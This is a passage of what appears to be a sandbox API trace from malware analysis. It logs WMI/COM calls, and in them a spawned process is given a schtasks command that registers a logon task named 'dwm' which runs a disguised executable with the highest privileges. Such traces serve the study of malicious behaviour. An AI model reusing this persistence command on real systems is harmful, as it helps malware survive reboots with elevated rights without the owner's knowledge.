rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c8d8 | out: ppv=0x1b30c8d8*=0x1b45d990) returned 0x0 [0105.720] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b45d990, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c9c0 | out: ppvObject=0x1b30c9c0*=0x0) returned 0x80004002 [0105.720] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b45d990, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c998 | out: ppvObject=0x1b30c998*=0x6569f0) returned 0x0 [0105.720] WbemDefPath:IUnknown:Release (This=0x1b45d990) returned 0x0 [0105.720] WbemDefPath:IUnknown:QueryInterface (in: This=0x6569f0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c740 | out: ppvObject=0x1b30c740*=0x6569f0) returned 0x0 [0105.720] WbemDefPath:IUnknown:QueryInterface (in: This=0x6569f0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c7d0 | out: ppvObject=0x1b30c7d0*=0x0) returned 0x80004002 [0105.720] WbemDefPath:IUnknown:QueryInterface (in: This=0x6569f0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bfc8 | out: ppvObject=0x1b30bfc8*=0x0) returned 0x80004002 [0105.720] WbemDefPath:IUnknown:AddRef (This=0x6569f0) returned 0x3 [0105.720] WbemDefPath:IUnknown:QueryInterface (in: This=0x6569f0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30be88 | out: ppvObject=0x1b30be88*=0x0) returned 0x80004002 [0105.720] WbemDefPath:IUnknown:QueryInterface (in: This=0x6569f0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30be10 | out: ppvObject=0x1b30be10*=0x0) returned 0x80004002 [0105.720] WbemDefPath:IUnknown:QueryInterface (in: This=0x6569f0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30be00 | out: ppvObject=0x1b30be00*=0x1b45d410) returned 0x0 [0105.721] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b45d410, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30be28 | out: pCid=0x1b30be28*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0105.721] WbemDefPath:IUnknown:Release (This=0x1b45d410) returned 0x3 [0105.721] CoGetContextToken (in: pToken=0x1b30beb0 | out: pToken=0x1b30beb0) returned 0x0 [0105.721] CoGetContextToken (in: pToken=0x1b30c330 | out: pToken=0x1b30c330) returned 0x0 [0105.721] WbemDefPath:IUnknown:QueryInterface (in: This=0x6569f0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c3f0 | out: ppvObject=0x1b30c3f0*=0x0) returned 0x80004002 [0105.721] WbemDefPath:IUnknown:Release (This=0x6569f0) returned 0x2 [0105.721] WbemDefPath:IUnknown:Release (This=0x6569f0) returned 0x1 [0105.721] CoGetContextToken (in: pToken=0x1b30d120 | out: pToken=0x1b30d120) returned 0x0 [0105.721] CoGetContextToken (in: pToken=0x1b30d020 | out: pToken=0x1b30d020) returned 0x0 [0105.721] WbemDefPath:IUnknown:QueryInterface (in: This=0x6569f0, riid=0x1b30d180*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d150 | out: ppvObject=0x1b30d150*=0x6569f0) returned 0x0 [0105.721] WbemDefPath:IUnknown:AddRef (This=0x6569f0) returned 0x3 [0105.721] WbemDefPath:IUnknown:Release (This=0x6569f0) returned 0x2 [0105.722] WbemDefPath:IWbemPath:SetText (This=0x6569f0, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0105.722] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x656db0, puCount=0x1b30d598 | out: puCount=0x1b30d598*=0x2) returned 0x0 [0105.722] WbemDefPath:IWbemPath:GetText (in: This=0x656db0, lFlags=8, puBuffLength=0x1b30d590*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d590*=0xf, pszText=0x0) returned 0x0 [0105.722] WbemDefPath:IWbemPath:GetText (in: This=0x656db0, lFlags=8, puBuffLength=0x1b30d590*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d590*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0105.722] CoGetObjectContext (in: riid=0x28247b8*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d418 | out: ppv=0x1b30d418*=0x6124e8) returned 0x0 [0105.722] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d408 | out: pAptType=0x1b30d408*=1) returned 0x0 [0105.722] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x2824798*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d410 | out: ppvObject=0x1b30d410*=0x0) returned 0x80004002 [0105.722] IUnknown:Release (This=0x6124e8) returned 0x1 [0105.723] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c808 | out: ppv=0x1b30c808*=0x1b45d870) returned 0x0 [0105.723] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b45d870, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c8f0 | out: ppvObject=0x1b30c8f0*=0x0) returned 0x80004002 [0105.723] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b45d870, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8c8 | out: ppvObject=0x1b30c8c8*=0x656ff0) returned 0x0 [0105.723] WbemDefPath:IUnknown:Release (This=0x1b45d870) returned 0x0 [0105.723] WbemDefPath:IUnknown:QueryInterface (in: This=0x656ff0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c670 | out: ppvObject=0x1b30c670*=0x656ff0) returned 0x0 [0105.723] WbemDefPath:IUnknown:QueryInterface (in: This=0x656ff0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c700 | out: ppvObject=0x1b30c700*=0x0) returned 0x80004002 [0105.723] WbemDefPath:IUnknown:QueryInterface (in: This=0x656ff0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bef8 | out: ppvObject=0x1b30bef8*=0x0) returned 0x80004002 [0105.724] WbemDefPath:IUnknown:AddRef (This=0x656ff0) returned 0x3 [0105.724] WbemDefPath:IUnknown:QueryInterface (in: This=0x656ff0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bdb8 | out: ppvObject=0x1b30bdb8*=0x0) returned 0x80004002 [0105.724] WbemDefPath:IUnknown:QueryInterface (in: This=0x656ff0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bd40 | out: ppvObject=0x1b30bd40*=0x0) returned 0x80004002 [0105.724] WbemDefPath:IUnknown:QueryInterface (in: This=0x656ff0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bd30 | out: ppvObject=0x1b30bd30*=0x1b45d570) returned 0x0 [0105.724] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b45d570, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bd58 | out: pCid=0x1b30bd58*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0105.724] WbemDefPath:IUnknown:Release (This=0x1b45d570) returned 0x3 [0105.724] CoGetContextToken (in: pToken=0x1b30bde0 | out: pToken=0x1b30bde0) returned 0x0 [0105.724] CoGetContextToken (in: pToken=0x1b30c260 | out: pToken=0x1b30c260) returned 0x0 [0105.724] WbemDefPath:IUnknown:QueryInterface (in: This=0x656ff0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c320 | out: ppvObject=0x1b30c320*=0x0) returned 0x80004002 [0105.724] WbemDefPath:IUnknown:Release (This=0x656ff0) returned 0x2 [0105.725] WbemDefPath:IUnknown:Release (This=0x656ff0) returned 0x1 [0105.725] CoGetContextToken (in: pToken=0x1b30d050 | out: pToken=0x1b30d050) returned 0x0 [0105.725] CoGetContextToken (in: pToken=0x1b30cf50 | out: pToken=0x1b30cf50) returned 0x0 [0105.725] WbemDefPath:IUnknown:QueryInterface (in: This=0x656ff0, riid=0x1b30d0b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d080 | out: ppvObject=0x1b30d080*=0x656ff0) returned 0x0 [0105.725] WbemDefPath:IUnknown:AddRef (This=0x656ff0) returned 0x3 [0105.725] WbemDefPath:IUnknown:Release (This=0x656ff0) returned 0x2 [0105.725] WbemDefPath:IWbemPath:SetText (This=0x656ff0, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0105.725] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6569f0, puCount=0x1b30d4c8 | out: puCount=0x1b30d4c8*=0x0) returned 0x0 [0105.725] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x656ff0, puCount=0x1b30d4c8 | out: puCount=0x1b30d4c8*=0x2) returned 0x0 [0105.725] WbemDefPath:IWbemPath:GetText (in: This=0x656ff0, lFlags=16, puBuffLength=0x1b30d4c0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d4c0*=0xb, pszText=0x0) returned 0x0 [0105.725] WbemDefPath:IWbemPath:GetText (in: This=0x656ff0, lFlags=16, puBuffLength=0x1b30d4c0*=0xb, pszText="0000000000" | out: puBuffLength=0x1b30d4c0*=0xb, pszText="root\\cimv2") returned 0x0 [0105.725] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x6569f0) returned 0x0 [0105.725] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x656ff0, puCount=0x1b30d520 | out: puCount=0x1b30d520*=0x2) returned 0x0 [0105.727] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x656ff0, uIndex=0x0, puNameBufLength=0x1b30d518*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d518*=0x5, pName=0x0) returned 0x0 [0105.727] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x656ff0, uIndex=0x0, puNameBufLength=0x1b30d518*=0x5, pName="0000" | out: puNameBufLength=0x1b30d518*=0x5, pName="root") returned 0x0 [0105.727] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x6569f0, uIndex=0x0, pszName="root") returned 0x0 [0105.727] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x656ff0, uIndex=0x1, puNameBufLength=0x1b30d518*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d518*=0x6, pName=0x0) returned 0x0 [0105.727] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x656ff0, uIndex=0x1, puNameBufLength=0x1b30d518*=0x6, pName="00000" | out: puNameBufLength=0x1b30d518*=0x6, pName="cimv2") returned 0x0 [0105.727] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x6569f0, uIndex=0x1, pszName="cimv2") returned 0x0 [0105.728] WbemDefPath:IWbemPath:GetServer (in: This=0x656ff0, puNameBufLength=0x1b30d510*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d510*=0x2, pName=0x0) returned 0x0 [0105.728] WbemDefPath:IWbemPath:GetServer (in: This=0x656ff0, puNameBufLength=0x1b30d510*=0x2, pName="0" | out: puNameBufLength=0x1b30d510*=0x2, pName=".") returned 0x0 [0105.728] WbemDefPath:IWbemPath:GetServer (in: This=0x6569f0, puNameBufLength=0x1b30d510*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d510*=0x2, pName=0x0) returned 0x0 [0105.728] WbemDefPath:IWbemPath:GetServer (in: This=0x6569f0, puNameBufLength=0x1b30d510*=0x2, pName="0" | out: puNameBufLength=0x1b30d510*=0x2, pName=".") returned 0x0 [0105.728] WbemDefPath:IWbemPath:GetInfo (in: This=0x6569f0, uRequestedInfo=0x0, puResponse=0x1b30d5b0 | out: puResponse=0x1b30d5b0*=0xc15) returned 0x0 [0105.728] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x656db0, puCount=0x1b30d508 | out: puCount=0x1b30d508*=0x2) returned 0x0 [0105.728] WbemDefPath:IWbemPath:GetText (in: This=0x656db0, lFlags=4, puBuffLength=0x1b30d500*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d500*=0xf, pszText=0x0) returned 0x0 [0105.728] WbemDefPath:IWbemPath:GetText (in: This=0x656db0, lFlags=4, puBuffLength=0x1b30d500*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d500*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0105.728] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x656db0, puCount=0x1b30d4d8 | out: puCount=0x1b30d4d8*=0x2) returned 0x0 [0105.728] WbemDefPath:IWbemPath:GetText (in: This=0x656db0, lFlags=4, puBuffLength=0x1b30d4d0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d4d0*=0xf, pszText=0x0) returned 0x0 [0105.728] WbemDefPath:IWbemPath:GetText (in: This=0x656db0, lFlags=4, puBuffLength=0x1b30d4d0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d4d0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0105.728] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6569f0, puCount=0x1b30d598 | out: puCount=0x1b30d598*=0x2) returned 0x0 [0105.728] WbemDefPath:IWbemPath:GetText (in: This=0x6569f0, lFlags=4, puBuffLength=0x1b30d590*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d590*=0x1d, pszText=0x0) returned 0x0 [0105.728] WbemDefPath:IWbemPath:GetText (in: This=0x6569f0, lFlags=4, puBuffLength=0x1b30d590*=0x1d, pszText="0000000000000000000000000000" | out: puBuffLength=0x1b30d590*=0x1d, pszText="\\\\.\\root\\cimv2:Win32_Process") returned 0x0 [0105.728] CoGetContextToken (in: pToken=0x1b30cea0 | out: pToken=0x1b30cea0) returned 0x0 [0105.728] WbemLocator:IUnknown:AddRef (This=0x5f4a18) returned 0x3 [0105.729] WbemLocator:IUnknown:QueryInterface (in: This=0x5f4a18, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cea0 | out: ppvObject=0x1b30cea0*=0x5f4a18) returned 0x0 [0105.729] WbemLocator:IUnknown:Release (This=0x5f4a18) returned 0x3 [0105.729] WbemLocator:IUnknown:Release (This=0x5f4a18) returned 0x2 [0105.729] WbemDefPath:IWbemPath:GetText (in: This=0x6569f0, lFlags=2, puBuffLength=0x1b30d5a0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d5a0*=0xe, pszText=0x0) returned 0x0 [0105.729] WbemDefPath:IWbemPath:GetText (in: This=0x6569f0, lFlags=2, puBuffLength=0x1b30d5a0*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b30d5a0*=0xe, pszText="Win32_Process") returned 0x0 [0105.729] IWbemServices:GetObject (in: This=0x63b6f0, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1b30d520*=0x0, ppCallResult=0x0 | out: ppObject=0x1b30d520*=0x1b4a1130, ppCallResult=0x0) returned 0x0 [0105.749] IWbemClassObject:GetMethod (in: This=0x1b4a1130, wszName="Create", lFlags=0, ppInSignature=0x1b30d618, ppOutSignature=0x1b30d610 | out: ppInSignature=0x1b30d618*=0x1b49d860, ppOutSignature=0x1b30d610*=0x1b49e030) returned 0x0 [0105.749] IWbemClassObject:SpawnInstance (in: This=0x1b49d860, lFlags=0, ppNewInstance=0x1b30d628 | out: ppNewInstance=0x1b30d628*=0x1b49e3a0) returned 0x0 [0105.749] IWbemClassObject:Get (in: This=0x1b49e3a0, wszName="CommandLine", lFlags=0, pVal=0x1b30d500*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29e26e0*=0, plFlavor=0x29e26e4*=0 | out: pVal=0x1b30d500*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29e26e0*=8, plFlavor=0x29e26e4*=32) returned 0x0 [0105.750] IWbemClassObject:Get (in: This=0x1b49e3a0, wszName="CommandLine", lFlags=0, pVal=0x1b30d530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29e26e0*=8, plFlavor=0x29e26e4*=32 | out: pVal=0x1b30d530*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29e26e0*=8, plFlavor=0x29e26e4*=32) returned 0x0 [0105.750] IWbemClassObject:Put (This=0x1b49e3a0, wszName="CommandLine", lFlags=0, pVal=0x1b30d590*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="schtasks.exe /create /tn \"dwm\" /sc ONLOGON /tr \"'C:\\Program Files\\Microsoft SQL Server\\110\\Shared\\dwm.exe'\" /rl HIGHEST /f", varVal2=0x0), Type=0) returned 0x0 [0105.751] IWbemClassObject:Get (in: This=0x1b49e3a0, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b30d500*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29e2770*=0, plFlavor=0x29e2774*=0 | out: pVal=0x1b30d500*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29e2770*=13, plFlavor=0x29e2774*=32) returned 0x0 [0105.751] IWbemClassObject:Get (in: This=0x1b49e3a0, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b30d530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29e2770*=13, plFlavor=0x29e2774*=32 | out: pVal=0x1b30d530*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29e2770*=13, plFlavor=0x29e2774*=32) returned 0x0 [0105.755] IUnknown:QueryInterface (in: This=0x643ae0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30ce00 | out: ppvObject=0x1b30ce00*=0x643ae0) returned 0x0 [0105.755] IUnknown:QueryInterface (in: This=0x643ae0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30ce90 | out: ppvObject=0x1b30ce90*=0x0) returned 0x80004002 [0105.755] IUnknown:QueryInterface (in: This=0x643ae0, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30cab0 | out: ppvObject=0x1b30cab0*=0x0) returned 0x80004002 [0105.755] IUnknown:QueryInterface (in: This=0x643ae0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c688 | out: ppvObject=0x1b30c688*=0x0) returned 0x80004002 [0105.756] IUnknown:AddRef (This=0x643ae0) returned 0x3 [0105.756] IUnknown:QueryInterface (in: This=0x643ae0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30c548 | out: ppvObject=0x1b30c548*=0x0) returned 0x80004002 [0105.756] IUnknown:QueryInterface (in: This=0x643ae0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30c4d0 | out: ppvObject=0x1b30c4d0*=0x0) returned 0x80004002 [0105.756] IUnknown:QueryInterface (in: This=0x643ae0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c4c0 | out: ppvObject=0x1b30c4c0*=0x643ae8) returned 0x0 [0105.756] IMarshal:GetUnmarshalClass (in: This=0x643ae8, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30c4e8 | out: pCid=0x1b30c4e8*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0105.756] IUnknown:Release (This=0x643ae8) returned 0x3 [0105.756] CoGetContextToken (in: pToken=0x1b30c570 | out: pToken=0x1b30c570) returned 0x0 [0105.756] CoGetContextToken (in: pToken=0x1b30c9f0 | out: pToken=0x1b30c9f0) returned 0x0 [0105.756] IUnknown:QueryInterface (in: This=0x643ae0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cab0 | out: ppvObject=0x1b30cab0*=0x0) returned 0x80004002 [0105.757] IUnknown:Release (This=0x643ae0) returned 0x2 [0105.757] CoGetContextToken (in: pToken=0x1b30ca20 | out: pToken=0x1b30ca20) returned 0x0 [0105.757] CoGetContextToken (in: pToken=0x1b30c920 | out: pToken=0x1b30c920) returned 0x0 [0105.757] IUnknown:QueryInterface (in: This=0x643ae0, riid=0x1b30ca80*(Data1=0x805e3b62, Data2=0xb5e9, Data3=0x393d, Data4=([0]=0x89, [1]=0x41, [2]=0x37, [3]=0x7d, [4]=0x8b, [5]=0xf4, [6]=0x55, [7]=0x6b)), ppvObject=0x1b30ca50 | out: ppvObject=0x1b30ca50*=0x0) returned 0x80004002 [0105.757] CoGetContextToken (in: pToken=0x1b30cbb0 | out: pToken=0x1b30cbb0) returned 0x0 [0105.757] IUnknown:QueryInterface (in: This=0x643ae0, riid=0x7ffa5f025148*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cc80 | out: ppvObject=0x1b30cc80*=0x0) returned 0x80004002 [0105.757] CoGetContextToken (in: pToken=0x1b30cc40 | out: pToken=0x1b30cc40) returned 0x0 [0105.757] IUnknown:AddRef (This=0x643ae0) returned 0x3 [0105.757] IWbemClassObject:Put (This=0x1b49e3a0, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b30d590*(varType=0xd, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x643ae0, varVal2=0x0), Type=0) returned 0x0 [0105.758] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x656270, puCount=0x1b30d648 | out: puCount=0x1b30d648*=0x2) returned 0x0 [0105.758] WbemDefPath:IWbemPath:GetText (in: 